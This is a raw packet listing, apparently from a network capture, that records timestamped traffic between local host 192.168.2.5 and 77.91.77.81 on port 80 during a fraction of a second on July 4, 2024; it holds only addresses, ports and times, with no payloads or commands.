Jul 4, 2024 22:21:06.883167028 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.883177996 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.883177996 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.883200884 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.883218050 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.883338928 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.883353949 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.883363962 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.883375883 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.883383989 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.883385897 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.883407116 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.883424997 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.883513927 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.883524895 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.883533955 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.883543968 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.883553982 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.883558035 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.883582115 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.883601904 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.883631945 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.883671999 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.883708000 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.883718967 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.883755922 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.883826971 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.883836985 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.883846045 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.883857012 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.883865118 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.883868933 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.883879900 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.883908987 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.884057045 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.884067059 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.884076118 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.884084940 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.884094954 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.884104013 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.884105921 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.884123087 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.884135962 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.884327888 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.884337902 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.884347916 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.884357929 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.884366035 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.884371042 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.884383917 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.884391069 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.884421110 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.884541988 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.884552956 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.884562969 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.884586096 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.884598017 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.884787083 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.884799004 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.884808064 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.884818077 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.884834051 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.884839058 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.884843111 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.884855986 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.884857893 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.884866953 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.884871960 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.884877920 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.884887934 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.884891033 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.884902954 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.884915113 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.884943962 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.885132074 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.885142088 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.885154009 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.885174036 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.885189056 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.885193110 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.885205984 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.885221004 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.885231018 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.885237932 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.885237932 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.885241985 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.885258913 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.885282993 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.918107986 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.918118954 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.918129921 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.918184042 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.918340921 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.918351889 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.918360949 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.918370962 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.918385029 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.918406010 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.918472052 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.918512106 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.918523073 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.918534040 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.918570042 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.918627024 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.918637991 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.918648958 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.918667078 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.918680906 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.918751955 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.918762922 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.918801069 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.952718019 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.952754021 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.952764034 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.952779055 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.952795982 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.952819109 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.952852011 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.952889919 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.952902079 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.952930927 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.952934027 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.952967882 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.953035116 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.953047037 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.953057051 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.953068972 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.953083992 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.953104019 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.953238010 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.953248978 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.953257084 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.953275919 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.953290939 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.953509092 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.953547001 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.971986055 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.972023964 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.972035885 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.972048044 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.972062111 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.972078085 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.972078085 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.972091913 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.972104073 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.972116947 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.972120047 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.972131968 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.972140074 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.972156048 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.972234011 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.972275972 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.972302914 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.972320080 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.972340107 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.972357035 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.972378969 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.972390890 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.972404003 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.972414970 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.972419024 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.972428083 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.972448111 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.972460985 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.972604990 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.972616911 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.972630024 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.972646952 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.972670078 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.972718954 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.972733021 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.972743988 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.972760916 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.972765923 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.972779036 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.972780943 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.972794056 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.972800970 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.972806931 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.972820044 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.972826004 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.972835064 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.972855091 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.972872972 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.973129034 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.973140955 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.973171949 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.973186970 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.973211050 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.973227024 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.973238945 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.973247051 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.973252058 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.973258018 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.973272085 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.973287106 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.973414898 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.973427057 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.973438025 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.973449945 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.973457098 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.973462105 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.973474026 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.973480940 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.973485947 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.973495007 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.973500013 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.973514080 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.973524094 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.973552942 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.973685980 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.973702908 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.973728895 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.973743916 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.973758936 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.973776102 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.973798037 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.973810911 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.973836899 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.973851919 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.973885059 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.973896027 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.973906994 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.973921061 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.973927975 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.973953009 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.974097013 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.974109888 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.974119902 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.974132061 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.974148989 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.974164009 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.974246979 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.974258900 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.974271059 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.974292040 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.974307060 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.974443913 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.974457026 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.974467039 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.974481106 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.974488020 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.974494934 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.974507093 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.974509954 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.974519968 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.974529982 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.974534035 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.974554062 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.974569082 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.974792957 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.974805117 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.974816084 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.974827051 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.974838018 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.974850893 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.974859953 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.974889994 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.974931955 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.974946022 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.974956989 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.974967957 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.974978924 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.974993944 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.974996090 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.975006104 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.975019932 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.975019932 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.975039005 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.975050926 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.975075006 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.975210905 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.975256920 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.975267887 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.975284100 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.975307941 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.975322008 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.975363970 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.975374937 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.975385904 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.975403070 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.975405931 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.975429058 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.975447893 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.027442932 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.027452946 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.027462959 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.027564049 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.027599096 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.027610064 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.027620077 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.027630091 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.027640104 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.027673006 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.027836084 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.027848005 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.027853012 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.027858019 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.027868986 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.027877092 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.027879000 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.027889967 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.027906895 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.027931929 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.044188023 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.044198990 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.044208050 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.044286013 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.044323921 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.044333935 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.044342995 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.044353008 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.044367075 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.044392109 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.045259953 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.045298100 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.045301914 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.045308113 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.045341015 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.045394897 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.045404911 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.045420885 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.045439005 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.045455933 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.045525074 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.045561075 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.063118935 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.063154936 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.063164949 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.063209057 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.063241959 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:07.063273907 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:07.063283920 CEST	80	49719	77.91.77.81	192.168.2.5
